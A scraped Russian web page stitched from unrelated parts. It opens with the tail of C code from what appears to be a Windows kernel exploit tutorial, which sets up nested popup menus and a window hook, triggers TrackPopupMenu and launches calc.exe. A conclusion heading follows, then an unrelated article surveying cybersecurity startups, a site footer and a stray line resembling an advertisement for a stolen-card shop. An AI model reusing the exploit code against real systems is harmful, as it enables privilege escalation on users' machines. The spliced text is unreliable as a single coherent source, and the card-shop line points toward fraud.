 //On this window hSubMenu should be included in Get/SetMenuItemInfo
 MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
 //The menu is a sub menu of the first menu
 MenuTwoInfo.hSubMenu = MenuOne;
 MenuTwoInfo.dwTypeData = “”;
MenuTwoInfo.cch = 1;
 
 insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
  if (!insertMenuItem){
 printf(“Failed to insert second pop-up menu.
“);
 DestroyMenu(MenuOne);
 DestroyMenu(MenuTwo);
 return;
 }
  HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL,
GetCurrentThreadId());
  if (setWindowsHook == NULL){
 printf(“Failed to insert call back one.
“);
 DestroyMenu(MenuOne);
 DestroyMenu(MenuTwo);
 return;
 }
 TrackPopupMenu(
 MenuTwo, //Handle to the menu we want to display, for us it’s the submenu we
just created.
 0, //Options on how the menu is aligned, what clicks are allowed etc
 0, //Horizontal position – left hand side
 0, //Vertical position – Top edge
 0, //Reserved field, has to be 0
 main_wnd, //Handle to the Window which owns the menu
 NULL //This value is always ignored…
 );
 //tidy up the screen
 DestroyWindow(main_wnd);
 system(“calc.exe”);
}
 
1.5   Заключение
 
Компилируем и запускаем обновленный код:
Полная версия исходников доступна здесь .
В статье мы расскажем о наиболее интересных стартапах в области кибербезопасности, на которые следует обратить внимание.
Хотите узнать, что происходит нового в сфере кибербезопасности, – обращайте внимание на стартапы, относящиеся к данной области. Стартапы начинаются с инновационной идеи и не ограничиваются стандартными решениями и основным подходом. Зачастую стартапы справляются с проблемами, которые больше никто не может решить.
Обратной стороной стартапов, конечно же, нехватка ресурсов и зрелости. Выбор продукта или платформы стартапа – это риск, требующий особых отношений между заказчиком и поставщиком . Однако, в случае успеха компания может получить конкурентное преимущество или снизить нагрузку на ресурсы безопасности.
Ниже приведены наиболее интересные стартапы (компании, основанные или вышедшие из «скрытого режима» за последние два года).
Компания Abnormal Security, основанная в 2019 году, предлагает облачную платформу безопасности электронной почты, которая использует анализ поведенческих данных для выявления и предотвращения атак на электронную почту. Платформа на базе искусственного интеллекта анализирует поведение пользовательских данных, организационную структуру, отношения и бизнес-процессы, чтобы выявить аномальную активность, которая может указывать на кибератаку. Платформа защиты электронной почты Abnormal может предотвратить компрометацию корпоративной электронной почты, атаки на цепочку поставок , мошенничество со счетами, фишинг учетных данных и компрометацию учетной записи электронной почты. Компания также предоставляет инструменты для автоматизации реагирования на инциденты, а платформа дает облачный API для интеграции с корпоративными платформами, такими как Microsoft Office 365, G Suite и Slack.
Копания Apiiro вышла из «скрытого режима» в 2020 году. Ее платформа devsecops переводит жизненный цикл безопасной разработки «от ручного и периодического подхода «разработчики в последнюю очередь» к автоматическому подходу, основанному на оценке риска, «разработчики в первую очередь», написал в блоге соучредитель и генеральный директор Идан Плотник . Платформа Apiiro работает, соединяя все локальные и облачные системы управления версиями и билетами через API. Платформа также предоставляет настраиваемые предопределенные правила управления кодом. Со временем платформа создает инвентарь, «изучая» все продукты, проекты и репозитории. Эти данные позволяют лучше идентифицировать рискованные изменения кода.
Axis Security Application Access Cloud – облачное решение для доступа к приложениям , построенное на принципе нулевого доверия. Он не полагается на наличие агентов, установленных на пользовательских устройствах. Поэтому организации могут подключать пользователей – локальных и удаленных – на любом устройстве к частным приложениям, не затрагивая сеть или сами приложения. Axis вышла из «скрытого режима» в 2020 году.
BreachQuest, вышедшая из «скрытого режима» 25 августа 2021 года, предлагает платформу реагирования на инциденты под названием Priori. Платформа обеспечивает большую наглядность за счет постоянного отслеживания вредоносной активности. Компания утверждает, что Priori может предоставить мгновенную информацию об атаке и о том, какие конечные точки скомпрометированы после обнаружения угрозы.
Cloudrise предоставляет услуги управляемой защиты данных и автоматизации безопасности в формате SaaS. Несмотря на свое название, Cloudrise защищает как облачные, так и локальные данные. Компания утверждает, что может интегрировать защиту данных в проекты цифровой трансформации. Cloudrise автоматизирует рабочие процессы с помощью решений для защиты данных и конфиденциальности. Компания Cloudrise была запущена в октябре 2019 года.
Cylentium утверждает, что ее технология кибер-невидимости может «скрыть» корпоративную или домашнюю сеть и любое подключенное к ней устройство от обнаружения злоумышленниками. Компания называет эту концепцию «нулевой идентичностью». Компания продает свою продукцию предприятиям, потребителям и государственному сектору. Cylentium была запущена в 2020 году.
Компания Deduce , основанная в 2019 году, предлагает два продукта для так называемого «интеллектуального анализа личности». Служба оповещений клиентов отправляет клиентам уведомления о потенциальной компрометации учетной записи, а оценка риска идентификации использует агрегированные данные для оценки риска компрометации учетной записи. Компания использует когнитивные алгоритмы для анализа конфиденциальных данных с более чем 150 000 сайтов и приложений для выявления возможного мошенничества. Deduce заявляет, что использование ее продуктов снижает ущерб от захвата аккаунта более чем на 90%.
Автоматизированная платформа безопасности и соответствия Drata ориентирована на готовность к аудиту по таким стандартам, как SOC 2 или ISO 27001. Drata отслеживает и собирает данные о мерах безопасности, чтобы предоставить доказательства их наличия и работы. Платформа также помогает оптимизировать рабочие процессы. Drata была основана в 2020 году.
FYEO – это платформа для мониторинга угроз и управления доступом для потребителей, предприятий и малого и среднего бизнеса. Компания утверждает, что ее решения для управления учетными данными снимают бремя управления цифровой идентификацией. FYEO Domain Intelligence («FYEO DI») предоставляет услуги мониторинга домена, учетных данных и угроз. FYEO Identity будет предоставлять услуги управления паролями и идентификацией, начиная с четвертого квартала 2021 года. FYEO вышла из «скрытого режима» в 2021 году.
Kronos – платформа прогнозирующей аналитики уязвимостей (PVA) от компании Hive Pro , основанная на четырех основных принципах: предотвращение, обнаружение, реагирование и прогнозирование. Hive Pro автоматизирует и координирует устранение уязвимостей с помощью единого представления. Продукт компании Artemis представляет собой платформу и услугу для тестирования на проникновение на основе данных. Компания Hive Pro была основана в 2019 году.
Израильская компания Infinipoint была основана в 2019 году. Свой основной облачный продукт она называет «идентификация устройства как услуга» или DIaaS , который представляет собой решение для идентификации и определения положения устройства. Продукт интегрируется с аутентификацией SSO и действует как единая точка принуждения для всех корпоративных сервисов. DIaaS использует анализ рисков для обеспечения соблюдения политик, предоставляет статус безопасности устройства как утверждается, устраняет уязвимости «одним щелчком».
Компания Kameleon , занимающаяся производством полупроводников, не имеет собственных фабрик и занимает особое место среди поставщиков средств кибербезопасности. Компания разработала «Блок обработки проактивной безопасности» (ProSPU). Он предназначен для защиты систем при загрузке и для использования в центрах обработки данных, управляемых компьютерах, серверах и системах облачных вычислений. Компания Kameleon была основана в 2019 году.
Облачная платформа безопасности данных Open Raven предназначена для обеспечения большей прозрачности облачных ресурсов. Платформа отображает все облачные хранилища данных, включая теневые облачные учетные записи, и идентифицирует данные, которые они хранят. Затем Open Raven в режиме реального времени отслеживает утечки данных и нарушения политик и предупреждает команды о необходимости исправлений. Open Raven также может отслеживать файлы журналов на предмет конфиденциальной информации, которую следует удалить. Компания вышла из «скрытого режима» в 2020 году.
Компания Satori, основанная в 2019 году, называет свой сервис доступа к данным “DataSecOps”. Целью сервиса является отделение элементов управления безопасностью и конфиденциальностью от архитектуры. Сервис отслеживает, классифицирует и контролирует доступ к конфиденциальным данным. Имеется возможность настроить политики на основе таких критериев, как группы, пользователи, типы данных или схема, чтобы предотвратить несанкционированный доступ, замаскировать конфиденциальные данные или запустить рабочий процесс. Сервис предлагает предварительно настроенные политики для общих правил, таких как GDPR , CCPA и HIPAA .
Компания Scope Security недавно вышла из «скрытого режима», будучи основана в 2019 году. Ее продукт Scope OmniSight нацелен на отрасль здравоохранения и обнаруживает атаки на ИТ-инфраструктуру, клинические системы и системы электронных медицинских записей . Компонент анализа угроз может собирать индикаторы угроз из множества внутренних и сторонних источников, представляя данные через единый портал.
Основным продуктом Strata является платформа Maverics Identity Orchestration Platform . Это распределенная мультиоблачная платформа управления идентификацией. Заявленная цель Strata – обеспечить согласованность в распределенных облачных средах для идентификации пользователей для приложений, развернутых в нескольких облаках и локально. Функции включают в себя решение безопасного гибридного доступа для расширения доступа с нулевым доверием к локальным приложениям для облачных пользователей, уровень абстракции идентификации для лучшего управления идентификацией в мультиоблачной среде и каталог коннекторов для интеграции систем идентификации из популярных облачных систем и систем управления идентификацией. Strata была основана в 2019 году.
SynSaber , запущенная 22 июля 2021 года, предлагает решение для мониторинга промышленных активов и сети. Компания обещает обеспечить «постоянное понимание и осведомленность о состоянии, уязвимостях и угрозах во всех точках промышленной экосистемы, включая IIoT, облако и локальную среду». SynSaber была основана бывшими лидерами Dragos и Crowdstrike.
Traceable называет свой основной продукт на основе искусственного интеллекта чем-то средним между брандмауэром веб-приложений и самозащитой приложений во время выполнения. Компания утверждает, что предлагает точное обнаружение и блокирование угроз путем мониторинга активности приложений и непрерывного обучения, чтобы отличать обычную активность от вредоносной. Продукт интегрируется со шлюзами API. Traceable была основана в июле 2020 года.
Компания Wiz, основанная командой облачной безопасности Microsoft, предлагает решение для обеспечения безопасности в нескольких облаках, рассчитанное на масштабную работу. Компания утверждает, что ее продукт может анализировать все уровни облачного стека для выявления векторов атак с высоким риском и обеспечивать понимание, позволяющее лучше расставлять приоритеты. Wiz использует безагентный подход и может сканировать все виртуальные машины и контейнеры. Wiz вышла из «скрытого режима» в 2020 году.
Работает на CMS “1С-Битрикс: Управление сайтом”
validccshopsu binlv